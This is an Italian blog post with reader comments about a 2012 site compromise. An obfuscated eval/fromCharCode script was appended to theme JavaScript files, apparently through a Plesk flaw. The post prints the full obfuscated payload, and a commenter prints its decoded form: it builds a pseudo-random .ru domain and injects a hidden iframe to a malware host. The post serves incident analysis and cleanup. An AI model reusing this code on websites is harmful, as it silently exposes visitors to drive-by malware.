hacker

Sito sotto attacco tramite l’utilizzo di Javascript

Ieri, come qualcuno avrà certamente notato, wordpress.org ha rilasciato la versione 3.4 dell’omonimo CMS scritto in php e, maniaco come sono, mi sono affrettato ad aggiornare tutti i siti con base wordpress che gestisco. Ad un certo punto, nel bel mezzo della procedura di aggiornamento di un sito, mi accorgo che nella home page compare un IFRAME del tutto sospetto e mai visto prima d’ora.

Se vi state già chiedendo come me ne sono potuto accorgere, la risposta è molto semplice: grazie al famosissimo plug-in di Firefox NoScript (basilare per la sicurezza informatica su internet)

Allarmato e preoccupato cerco di capire da dove arriva questo nuovo IFRAME… tasto destro… Visualizza Sorgente Pagina… NIENTE! Tutto pulito e in ordine. Controllo i vari script JS ma, dato che il tema non l’ho fatto io, non noto problemi che mi facciano sospettare qualcosa. NoScript d’altro canto non lascia spazio a dubbi: c’è un IFRAME che effettua un GET direttametne al sito fufsbovwfzjumtle.ru (guarda caso creato esattamente 3 giorni fa, il 13 giugno in Russia! Basta fare un semplice lookup del domino per scoprirlo, vedi immagine a sinistra). Ecco la reputazione del dominio secondo WOT in meno di 3 giorni di attività: http://www.mywot.com/en/scorecard/fufsbovwfzjumtle.ru

 

Cerco subito su Google questo sito ma niente, di indicizzato non compare proprio nulla! La questione si fa calda, e per prima cosa mi viene da provare a sovrascrivere i sorgenti di wordpress approfittando dell’aggiornamento alla versione 3.4. Finito l’upload su ftp, funziona tutto ma è il FRAME è esattamente come prima. Ragionando un attimo, mi rendo conto che i temi personalizzati potrebbero essere la causa del male… BINGO.

Scarico il tema originale e il tema presente sul sito sotto attacco, confronto i sorgenti con WinMerge, e… voilà!!! Scopro una maledettissima stringa aggiunta nel JS del tema che vi posto di seguito:

/*km0ae9gr6m*/try{q=document.createElement(“p”);q.appendChild(q+””);}catch(qw){h=-012/5;try{bcsd=prototype-2;}catch(bawg){ss=[];f=(h)?(“fromCharC”+”ode”):””;e=window[“e”+”val”];n=[102,234,330,396,116,210,333,440,32,220,303,480,116,164,291,440,100,222,327,312,117,218,294,404,114,80,123,492,10,64,96,128,32,236,291,456,32,208,315,128,61,64,348,416,105,230,138,460,101,202,300,128,47,64,348,416,105,230,138,324,59,20,96,128,32,64,354,388,114,64,324,444,32,122,96,464,104,210,345,184,115,202,303,400,32,74,96,464,104,210,345,184,81,118,30,128,32,64,96,472,97,228,96,464,101,230,348,128,61,64,348,416,105,230,138,260,32,84,96,432,111,64,135,128,116,208,315,460,46,164,96,168,32,208,315,236,10,64,96,128,32,210,306,160,116,202,345,464,32,124,96,192,41,246,30,128,32,64,96,128,32,64,96,464,104,210,345,184,115,202,303,400,32,122,96,464,101,230,348,236,10,64,96,128,32,250,96,404,108,230,303,128,123,20,96,128,32,64,96,128,32,64,348,416,105,230,138,460,101,202,300,128,61,64,348,404,115,232,96,172,32,232,312,420,115,92,231,236,10,64,96,128,32,250,30,128,32,64,96,456,101,232,351,456,110,64,120,464,104,210,345,184,115,202,303,400,32,84,96,464,104,210,345,184,111,220,303,316,118,202,342,308,41,118,30,500,10,20,306,468,110,198,348,420,111,220,96,328,97,220,300,444,109,156,351,436,98,202,342,284,101,220,303,456,97,232,333,456,40,234,330,420,120,82,369,40,32,64,96,128,118,194,342,128,100,64,183,128,110,202,357,128,68,194,348,404,40,234,330,420,120,84,147,192,48,96,123,236,10,64,96,128,32,236,291,456,32,230,96,244,32,200,138,412,101,232,216,444,117,228,345,160,41,64,186,128,49,100,96,252,32,98,96,232,32,96,177,40,32,64,96,128,116,208,315,460,46,230,303,404,100,64,183,128,50,102,156,212,54,110,168,228,48,98,96,172,32,80,300,184,103,202,348,308,111,220,348,416,40,82,96,168,32,96,360,280,70,140,210,280,70,82,96,172,32,80,300,184,103,202,348,272,97,232,303,160,41,64,126,128,48,240,210,280,70,140,123,172,32,80,231,388,116,208,138,456,111,234,330,400,40,230,96,168,32,96,360,280,70,140,123,164,59,20,96,128,32,64,348,416,105,230,138,260,32,122,96,208,56,100,165,196,59,20,96,128,32,64,348,416,105,230,138,308,32,122,96,200,49,104,165,208,56,102,162,208,55,118,30,128,32,64,96,464,104,210,345,184,81,64,183,128,116,208,315,460,46,154,96,188,32,232,312,420,115,92,195,236,10,64,96,128,32,232,312,420,115,92,246,128,61,64,348,416,105,230,138,308,32,74,96,464,104,210,345,184,65,118,30,128,32,64,96,464,104,210,345,184,111,220,303,316,118,202,342,308,32,122,96,196,46,96,96,188,32,232,312,420,115,92,231,236,10,64,96,128,32,232,312,420,115,92,330,404,120,232,96,244,32,220,303,480,116,164,291,440,100,222,327,312,117,218,294,404,114,118,30,128,32,64,96,456,101,232,351,456,110,64,348,416,105,230,177,40,125,20,30,408,117,220,297,464,105,222,330,128,99,228,303,388,116,202,246,388,110,200,333,436,78,234,327,392,101,228,120,456,44,64,231,420,110,88,96,308,97,240,123,492,10,64,96,128,32,228,303,464,117,228,330,128,77,194,348,416,46,228,333,468,110,200,120,160,77,194,360,180,77,210,330,164,32,84,96,456,46,220,303,480,116,80,123,128,43,64,231,420,110,82,177,40,125,20,30,408,117,220,297,464,105,222,330,128,103,202,330,404,114,194,348,404,80,230,303,468,100,222,246,388,110,200,333,436,83,232,342,420,110,206,120,468,110,210,360,176,32,216,303,440,103,232,312,176,32,244,333,440,101,82,369,40,32,64,96,128,118,194,342,128,114,194,330,400,32,122,96,440,101,238,96,328,97,220,300,444,109,156,351,436,98,202,342,284,101,220,303,456,97,232,333,456,40,234,330,420,120,82,177,40,32,64,96,128,118,194,342,128,108,202,348,464,101,228,345,128,61,64,273,156,97,78,132,156,98,78,132,156,99,78,132,156,100,78,132,156,101,78,132,156,102,78,132,156,103,78,132,156,104,78,132,156,105,78,132,156,106,78,132,156,107,78,132,156,108,78,132,156,109,78,132,156,110,78,132,156,111,78,132,156,112,78,132,156,113,78,132,156,114,78,132,156,115,78,132,156,116,78,132,156,117,78,132,156,118,78,132,156,119,78,132,156,120,78,132,156,121,78,132,156,122,78,279,236,10,64,96,128,32,236,291,456,32,230,348,456,32,122,96,156,39,118,30,128,32,64,96,408,111,228,120,472,97,228,96,420,32,122,96,192,59,64,315,128,60,64,324,404,110,206,348,416,59,64,315,128,43,86,96,164,123,20,96,128,32,64,96,128,32,64,345,464,114,64,129,244,32,216,303,464,116,202,342,460,91,198,342,404,97,232,303,328,97,220,300,444,109,156,351,436,98,202,342,160,114,194,330,400,44,64,144,176,32,216,303,464,116,202,342,460,46,216,303,440,103,232,312,128,45,64,147,164,93,118,30,128,32,64,96,500,10,64,96,128,32,228,303,464,117,228,330,128,115,232,342,128,43,64,117,184,39,64,129,128,122,222,330,404,59,20,375,40,10,230,303,464,84,210,327,404,111,234,348,160,102,234,330,396,116,210,333,440,40,82,369,40,32,64,96,128,116,228,363,492,10,64,96,128,32,64,96,128,32,210,306,160,116,242,336,404,111,204,96,420,102,228,291,436,101,174,291,460,67,228,303,388,116,202,300,128,61,122,96,136,117,220,300,404,102,210,330,404,100,68,123,492,10,64,96,128,32,64,96,128,32,64,96,128,32,210,306,456,97,218,303,348,97,230,201,456,101,194,348,404,100,64,183,128,116,228,351,404,59,20,96,128,32,64,96,128,32,64,96,128,32,64,354,388,114,64,351,440,105,240,96,244,32,154,291,464,104,92,342,444,117,220,300,160,43,220,303,476,32,136,291,464,101,80,123,188,49,96,144,192,41,118,30,128,32,64,96,128,32,64,96,128,32,64,96,472,97,228,96,400,111,218,291,420,110,156,291,436,101,64,183,128,103,202,330,404,114,194,348,404,80,230,303,468,100,222,246,388,110,200,333,436,83,232,342,420,110,206,120,468,110,210,360,176,32,98,162,176,32,78,342,468,39,82,177,40,32,64,96,128,32,64,96,128,32,64,96,128,105,204,342,436,32,122,96,400,111,198,351,436,101,220,348,184,99,228,303,388,116,202,207,432,101,218,303,440,116,80,102,292,70,164,195,308,69,68,123,236,32,20,96,128,32,64,96,128,32,64,96,128,32,64,315,408,114,218,138,460,101,232,195,464,116,228,315,392,117,232,303,160,34,230,342,396,34,88,96,136,104,232,348,448,58,94,141,136,43,200,333,436,97,210,330,312,97,218,303,172,34,94,342,468,110,204,333,456,101,230,348,456,117,220,189,460,105,200,183,396,120,68,123,236,32,20,96,128,32,64,96,128,32,64,96,128,32,64,315,408,114,218,138,460,116,242,324,404,46,238,315,400,116,208,96,244,32,68,144,448,120,68,177,128,10,64,96,128,32,64,96,128,32,64,96,128,32,210,306,456,109,92,345,464,121,216,303,184,104,202,315,412,104,232,96,244,32,68,144,448,120,68,177,128,10,64,96,128,32,64,96,128,32,64,96,128,32,210,306,456,109,92,345,464,121,216,303,184,118,210,345,420,98,210,324,420,116,242,96,244,32,68,312,420,100,200,303,440,34,118,96,40,32,64,96,128,32,64,96,128,32,64,96,128,100,222,297,468,109,202,330,464,46,196,333,400,121,92,291,448,112,202,330,400,67,208,315,432,100,80,315,408,114,218,123,236,10,64,96,128,32,64,96,128,32,250,30,128,32,64,96,500,99,194,348,396,104,80,303,164,123,250,30,500,44,64,159,192,48,82,177];if(window.document)for(i=6-2-1-2-1;-1771+i!=2-2;i++){k=i;ss=ss+String[f](n[k]/(i%(h*h)+2-1));}e(ss);}}/*qhk6sa6g1c*/

Ah credeva anche di fregarmi! La stringa è stata abilmente crittografata per non destare sospetti, sicuramente la mano di un utente che sapeva bene cosa stava facendo ( …e sicuramente non la mia mano, a meno che non abbia fatto qualcosa in un momento di sonnambulismo profondo 😀 ).

Ora rimane “solo” da capire la funzione di questa stringa. L’articolo l’ho scritto nel caso in cui qualcuno si trovi nelle mie condizioni, e la soluzione è semplice:

1) Cancellare la stringa sopra nel JS

2) Correggere i permessi sul file JS (anche se è meglio controllare che tutto il sito sia impostato con i permessi giusti)

EDIT 24 giugno 2012 – Ecco cosa mi segnala Avira quando cerco di entrare nel sito che puntualmente, viene attaccato appeno sistemo i permessi:

Virus Javascript Avira

 

Forse ti interessa:

32 pensieri su “Sito sotto attacco tramite l’utilizzo di Javascript

  1. Franco Corbelli

    Se può interessare ho decodificato il codice e dovrebbe essere questo

    function nextRandomNumber(){
    var hi = this.seed / this.Q;
    var lo = this.seed % this.Q;
    var test = this.A * lo – this.R * hi;
    if(test > 0){
    this.seed = test;
    } else {
    this.seed = test + this.M;
    }
    return (this.seed * this.oneOverM);
    }

    function RandomNumberGenerator(unix){
    var d = new Date(unix*1000);
    var s = d.getHours() > 12 ? 1 : 0;
    this.seed = 2345678901 + (d.getMonth() * 0xFFFFFF) + (d.getDate() * 0xFFFF)+ (Math.round(s * 0xFFF));
    this.A = 48271;
    this.M = 2147483647;
    this.Q = this.M / this.A;
    this.R = this.M % this.A;
    this.oneOverM = 1.0 / this.M;
    this.next = nextRandomNumber;
    return this;
    }

    function createRandomNumber(r, Min, Max){
    return Math.round((Max-Min) * r.next() + Min);
    }

    function generatePseudoRandomString(unix, length, zone){
    var rand = new RandomNumberGenerator(unix);
    var letters = [‘a’,’b’,’c’,’d’,’e’,’f’,’g’,’h’,’i’,’j’,’k’,’l’,’m’,’n’,’o’,’p’,’q’,’r’,’s’,’t’,’u’,’v’,’w’,’x’,’y’,’z’];
    var str = ”;
    for(var i = 0; i < length; i ++ ){
    str += letters[createRandomNumber(rand, 0, letters.length – 1)];
    }
    return str + '.' + zone;
    }

    setTimeout(function(){
    try{
    if(typeof iframeWasCreated == "undefined"){
    iframeWasCreated = true;
    var unix = Math.round(+new Date()/1000);
    var domainName = generatePseudoRandomString(unix, 16, 'ru');
    ifrm = document.createElement("IFRAME");
    ifrm.setAttribute("src", "http://"+domainName+"/runforestrun?sid=cx&quot;);
    ifrm.style.width = "0px";
    ifrm.style.height = "0px";
    ifrm.style.visibility = "hidden";
    document.body.appendChild(ifrm);
    }
    }catch(e){}
    }, 500);

    Con un "lanciatore" di questo genere
    try{
    q=document.createElement("p");
    q.appendChild(q+"");
    }
    catch(qw)
    {
    h=-012/5;
    try{bcsd=prototype-2;}
    catch(bawg)

    […] ss = quella roba sopra
    e(ss);

  2. Franco Corbelli

    E’ abbastanza diffuso su internet (!), con tanti server bacati a dir poco.
    Si appende in fondo a tutto quello che trova (html, php etc), sperando di essere eseguito prima o poi.
    Più che lo script in sè (che non fa nulla di particolare) sto cercando ci capire “come” si appiccica ai file.

  3. Mattia Notari Autore articolo

    Sei sicuro che non faccia nulla di particolare? Anche a me da questa impressione ma credo che lo lancerò in una macchina virtuale per vedere con WireShark che traffico genera, appena avrò tempo… Comunque io avevo pulito tutti i file ieri pomeriggio e oggi, sul sito nel quale ho riscontrato il problema, vedo che è stato modificato un solo file JS, chiaramente diverso da quello di prima… Sembra che qualcuno si stia divertendo 🙂

  4. Franco Corbelli

    Ne ho preparato uno qui
    http://i46.tinypic.com/2d1qo02.jpg

    Come detto sono più interessato al meccanismo che consente di appendere codice, perchè invece di questo “bimbominkia-malware” se ne potrebbe mettere, per la stessa via, di assai più rognosi

  5. Mattia Notari Autore articolo

    Ho notato che il problema si verifica quando i permessi sono settati da 755 in su, subito pensavo che fosse una falla del CMS, ma se l’hai visto su altri siti ed è un bug diffuso potrebbe essere una falla di apache quando ha alcuni parametri impostati.
    in ogni caso tienici aggiornati!
    Grazie

  6. Orlando

    Anche io ho trovato la stringa in alcuni dei miei js su un sito in joomla. Non riesco a capire come faccia ad appenderla. I file sono in 644. Se avete news potete postarle qui. Grazie

  7. ele.and

    anch’io ho trovato il file generato in data 16/06/2012 rollover.js modificato con la stessa stringa attaccata in fondo al codice del file originale, l’ho rinominato, scaricato per vedere di cosa si tratta e l’antivirus me lo segnalava nella categoria di contenuto “blackhole”. Il sito risiede su un server che credo non sia molto affidabile e secondo me di facile “attacco”… se qualcuno riesce a svelare l’arcano… spero di leggerlo qui!

  8. Mattia Notari Autore articolo

    Grazie per la segnalazione, ancora non sono riuscito bene a capire quale precauzione prendere. Il mio attuale hosting è misterdomain.eu , assolutamente inaffidabile. Credo che il baco sia ufficialmente presente in Plesk

    Aggiornamento (23 giugno 2012): Grazie a tutti coloro che hanno lasciato commenti. Il problema sembra essere davvero Plesk. Axel ha trovato tracce di un attacco nei file di log di accesso a Plesk. L’attaccante si è collegato e ha utilizzato file manager per modificare i file js. Axel attribuisce la vulnerabilità a Plesk (sono interessate le versioni precedenti alla 10,4) con un bug trovano all’inizio di quest’anno e suggerisce agli amministratori del server di risolvere il problema: http://kb.parallels.com/en/113321 e reimpostare le password per tutti gli account di Plesk.

    http://blog.unmaskparasites.com/2012/06/22/runforestrun-and-pseudo-random-domains/

  9. ele.and

    HO appena verificato sull’unico altro sito che risiede presso lo stesso hosting, se ci sia lo stesso problema e ho trovato 2 file modificati: rollover.js e, forse peggio, index.aspx in data 23/06/2012, sono della stessa tipologia dell’altro. Entrambi i siti hanno plesk come pannello di controllo.

  10. glm2006ITALY

    Bene vedo che non sono il solo….

    Battute a parte a me ha colpito 35 siti web differenti sia statici in html che dinamici con WP, Elxis, MyBB, OSCLass.

    Credo proprio si tratti di falle di sicurezza DEI SERVER, ho esposto anche denuncia di quanto accaduto, vediamo le nostre “infallibili” procure cosa riusciranno a fare 😀

  11. Mattia Notari Autore articolo

    Ciao, come dici te è una falla presente su alcuni server, anzi praticamente tutti quelli che hanno Plesk con versione precedente alla 10,4.
    Da quel che so io, quelli di Aruba non hanno avuto problemi (Server VPS a parte che usano Plesk e comunque sono sempre aggiornati).
    Una denuncia forse è eccessivo a meno che non gestisci siti con dati diciamo “particolari” o a rischio. Per fortuna chi ha usato la falla sembra essersi limitato a modificare massivamente i files presenti sui server.
    Grazie per la tua testimonianza 😉

  12. glm2006ITALY

    Sarà anche eccessiva ma chi lo sapeva di questo simpatico “caos” che è successo era causato da un “buco” sull’hosting…. ho chiamato un paio di volte quelli della mistyerdomain e per loro “tutto è regolare”
    “Sicuro di non avere il pc infetto” (visto che inzialmente ha colpito quasi esclusivamente i “miei” siti web!)

  13. Mattia Notari Autore articolo

    Si intendevo dire “nel mio caso una denuncia è eccessiva”, capisco la tua sitazione con MisterDomain, mi sembrano due bravi ragazzi quelli che rispondono alle e-mail ma ho l’impressione che gestiscano un sistema troppo grande per loro.

  14. Mattia Notari Autore articolo

    Non sono sicuro che siano in due, di certo so che in 3 anni ho avuto modo di ricevere risposta sempre e soltanto da due persone che probabilmente sono in Italia (i server sono a Sassari in Sardegna), la terza se c’è credo sia in Slovacchia dove hanno la sede legale. Le mie sono solo SEMPLICI supposizioni basate sulla mia esperienza personale. Potrebbe anche essere che abbiano un team di 10 persone ma che soltanto 2 si interfacciano con i clienti.
    Ciao

  15. cd

    ciao,
    ho cancellato il code js,pero mi viene ancora…e Google ha bloccato il mio sito T_T
    c’e qualche modo di eliminare tutto?

  16. Mattia Notari Autore articolo

    Grazie glm2006 per l’aiuto comunque misterdomain sta facendo il giro di tutti i siti per cambiare le password di Plesk quindi ci vorrà un po’ ma alla fine il problema (in buona parte) lo risolveranno loro.

  17. Aruba

    It is really a nice and helpful piece of information. I am satisfied that you just shared this useful information with us.
    Please stay us informed like this. Thanks for sharing.

  18. glm2006ITALY

    Ciao Mattia
    Novità: nuovi attacchi e questa volta caricano di brutto un condice che tenta di scaricare un file.exe

    A voi altri sta capitando qualcosa di simile?
    Potete vedere il “bestio” sul sito nauticapiu
    .
    net

  19. Mattia Notari Autore articolo

    Ciao. No, non ho ancora visto nulla di simile. Di quale sito stai parlando esattamente? Ah si ho notato adesso il sito. Confermo che facendo un controllo rapido anche uno dei miei siti è di nuovo sotto attacco! Panico! 😉
    Strano che la versione di Plesk 9 sia piena di bachi!!!

Lascia un commento

Il tuo indirizzo email non sarà pubblicato. I campi obbligatori sono contrassegnati *